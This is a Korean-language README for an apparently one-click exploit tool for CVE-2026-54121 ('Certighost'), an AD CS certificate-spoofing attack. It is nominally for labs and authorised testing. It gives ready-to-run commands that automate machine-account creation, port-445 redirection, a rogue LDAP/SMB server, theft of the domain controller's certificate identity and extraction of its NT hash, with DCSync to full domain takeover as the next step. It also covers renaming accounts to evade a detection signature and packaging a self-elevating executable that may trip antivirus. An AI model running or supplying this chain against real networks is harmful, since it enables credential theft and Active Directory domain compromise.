
CVE-2026-54121(Certighost)에 대한 원클릭 익스플로잇으로, AD CS 인증서 ID 스푸핑을 대상으로 합니다. 머신 계정 생성, 트래픽 리다이렉트, 로그 CA, PKINIT, NT 해시 추출을 자동화하여 도메인을 장악합니다.
CVE-2026-54121(Certighost) 원클릭 익스플로잇 도구 — 로컬 랩/승인된 테스트 전용.
상위 PoC(@h0j3n 분석 / @aniqfakhrul 구현)를 기반으로 개조한 Windows 네이티브 버전: 자체 개발 WinDivert 리다이렉터(pydivert) 내장, 단일 명령으로 "계정 생성 → 리다이렉트 → rogue 리스닝 → CA chase → 도메인 컨트롤러 ID 인증서 → PKINIT → 도메인 컨트롤러 머신 계정 NT 해시" 완료, Server 서비스를 중단하지 않고 호스트 설정을 전혀 변경하지 않으며, 종료 시 즉시 복구됩니다.
| 패치 | 설명 |
|---|
--redirect | 내장 WinDivert 리다이렉터(445 → --lsa-port, 좁은 범위 필터: listener IP 트래픽만 하이재킹), 프로세스와 함께 시작/중지, 종료 시 445 자동 복구. 공식 PortBender 대체(공식 산출물은 CS 전용 32비트 리플렉티브 DLL로 단독 실행 불가) |
--lsa-port | rogue LSA/SMB 리스닝 포트 파라미터화(기본 445; --redirect 시 기본 8445) |
os.geteuid 가드 | 상위 버전의 root 검사가 Windows에서 크래시 → hasattr 가드 + Windows 포트 힌트 |
| 준비 완료 검사 파라미터화 | 상위 버전 하드코딩 port_ok(127.0.0.1, 445) → args.lsa_port |
| PEP 723 헤더 | uv run certighost.py ... 직접 실행, 의존성 자동 해석(git-master impacket 포함), 환경 오염 제로 |
--new-computer-name | 계정 생성 시 사용자 지정 이름(GHOST* 탐지 시그니처 회피) |
--new-computer-pass | 계정 생성 시 사용자 지정 비밀번호(도메인 암호 정책 통과 필요) |
random.randbytes polyfill | impacket git-master가 smbserver 임포트 시 3.9+ API 사용; 3.8 대응 필요, os.urandom 구현 |
| 종료 즉시 종료 | GGWP 후 flush + os._exit()(impacket 비-daemon 스레드로 인한 수 분간 hang 근본 해결) |
| 종료 코드 의미화 | 0 성공 / 1 실패 |
<dc>.hash.txt 저장 | 도메인 컨트롤러 머신 계정 NT 해시를 파일로 기록(단일 행 name:lm:nt) |
① 사전 점검(읽기 전용, CA 및 익스플로잇 전제 조건 확인):
uv run check_ca.py -d bingo.com -dc-ip 192.168.16.144 -u zhaolei -p 'pass'
Enterprise CA 목록, Machine 템플릿 발급 및 등록 권한 출력(Domain Computers에 Enroll 필요).
CA 머신에서 chase 플래그 추가 확인: certutil -getreg policy\EditFlags(EDITF_ENABLECHASECLIENTDC 필요;
Server 2016 기본 설치 실측 시 활성화됨).
② 원클릭 익스플로잇(Windows, 관리자):
uv run certighost.py -d bingo.com -u zhaolei -p '[email protected]' \
--dc-ip 192.168.16.144 --listener <본머신 접근 가능 IP> --redirect \
--new-computer-name MACH$ --new-computer-pass 'Your@Pw123!'
산출물 3종 세트(실행 디렉터리에 자동 저장):
| 파일 | 내용 |
|---|---|
<dc>.pfx | 도메인 컨트롤러 ID 인증서(PKINIT 자료) |
<dc>.ccache | Kerberos 티켓 캐시 |
<dc>.hash.txt | 도메인 컨트롤러 머신 계정 NT 해시(name:lm:nt 단일 행) |
③ 정리(계정 생성 삭제):
uv run cleanup_ghost.py -d bingo.com -dc-ip 192.168.16.144 -u administrator -p 'pass' --prefix MACH
| 파라미터 | 설명 |
|---|---|
-d / -u / -p / -H | 도메인 / 저권한 사용자 / 비밀번호 / NTLM 해시 |
--dc-ip | DC 주소(필수) |
--listener IP | rogue 리스너 IP(멀티 NIC인 경우 반드시 명시) |
--redirect | Windows 핵심: 내장 WinDivert 445 리다이렉트(관리자 + pydivert 필요) |
--lsa-port N | rogue LSA 포트(--redirect 시 기본 8445) |
--new-computer-name | 계정 생성 시 사용자 지정 이름($ 자동 추가) |
--new-computer-pass | 계정 생성 시 사용자 지정 비밀번호(existing 경로와 상호 배타) |
--computer-name/--computer-pass/--computer-hash | MAQ 불필요: 이미 제어 중인 머신 계정 재사용 |
--target-san DC01$ | 위장 대상 지정(기본: DC 자동 발견) |
--template | 인증서 템플릿(기본 Machine) |
--ca / --ca-ip | CA 수동 지정 |
--debug | 프로토콜 단계 전체 추적 |
Phase1 저권한 사용자가 머신 계정 생성(MAQ 경로 자동 / --new-computer-* 사용자 지정 / --computer-* 기존 계정 재사용)
Phase2 [Windows] 내장 WinDivert 리다이렉터: listener_ip:445 -> :lsa_port
좁은 범위 필터(해당 IP만), 재작성 후 패킷이 필터에서 벗어남 = 재주입 루프 없음; 핸들은 프로세스와 함께 종료
Phase3 rogue 서버: LDAP:389 + LSA/SMB:lsa_port(cdc/rmd chase 응답, DC ID 데이터 공급)
Phase4 머신 ID로 인증서 요청 제출(Machine 템플릿), CA가 rogue로 콜백 → DC ID 인증서 발급
Phase5 PKINIT → KDC가 PAC에서 DC 머신 계정 NT 해시 반환 → 추출 후 .hash.txt에 기록
Phase6 (후속) secretsdump DCSync → krbtgt → 전체 도메인 장악; cleanup_ghost로 계정 생성 정리
Linux 사용법은 동일(root가 445/389 직접 바인딩, --redirect 미사용).
공격 체인의 해시 추출은 PKINIT → PAC → NT 해시 경로를 사용하며, DCSync가 아닙니다:
해시 획득 후 secretsdump로 DCSync를 수행하는 것은 두 번째 단계 작업이며, 해시의 출처가 아닙니다.
# PowerShell 7
./build_exe.ps1 # 기본 프로파일 (Win10 / Server 2016+)
./build_exe.ps1 3.10 # 호환 프로파일 (Win8.1 / Server 2012 R2+)
./build_exe.ps1 legacy # 레거시 프로파일 (Win7 SP1 / Server 2008 R2 x64)
산출물 dist\certighost_x64.exe: 19-27MB(프로파일별), --uac-admin 자체 권한 상승, 제로 의존성,
스크립트가 SHA256 체크섬 자동 출력.
python.org 공식 CPython 3.8.10이 다음 경로에 설치되어 있어야 합니다(Win7 커널을 지원하는 마지막 공식 바이너리 빌드, 새 UCRT API 불필요):
D:\网安相关\Tools\Python\cpython-3.8.10-x64\
설치 명령(자동, PATH 미기록, 런처 미설치):
python-3.8.10-amd64.exe /quiet InstallAllUsers=0 TargetDir=D:\网安相关\Tools\Python\cpython-3.8.10-x64 PrependPath=0 Include_launcher=0
동시에 PyInstaller==5.13.2(6.x bootloader는 Win7 커널 미지원)와 cryptography==38.0.4(Rust 휠은 38.x 이후 Win10+ 요구)를 고정, 모두 스크립트에 반영됨.
| 프로파일 | 실기기 시스템 | 전체 체인 | 비고 |
|---|---|---|---|
| 기본 | Win11 | ✅ | |
| 호환 3.10 | Win11 / Win10 / Server 2012 R2 | ✅ ×3 | WinDivert 실기기 포함 |
| 레거시 legacy | Win11 / Server 2008 R2 x64 | ✅ ×2 | 공식 3.8.10 + PyInstaller 5.13.2 |
PyInstaller+impacket은 안티바이러스 시그니처 탐지가 잦은 영역이므로, 배포 전 자체 평가 필요.
ciphertext integrity failure: 1회 관찰, 재시도 시 해결certighost.py 메인 익스플로잇(상위 버전 + Windows 네이티브 패치 + PEP 723)
certighost_redirect.py 자체 개발 WinDivert 445 리다이렉터(pydivert; --selftest/--e2e 자체 테스트)
check_ca.py 사전 점검: CA/템플릿/등록 권한/chase 플래그(읽기 전용)
cleanup_ghost.py 마무리: 계정 생성 삭제
build_exe.ps1 PyInstaller 단일 파일 패키징(pwsh7, 3-프로파일 매트릭스, 자동 SHA256)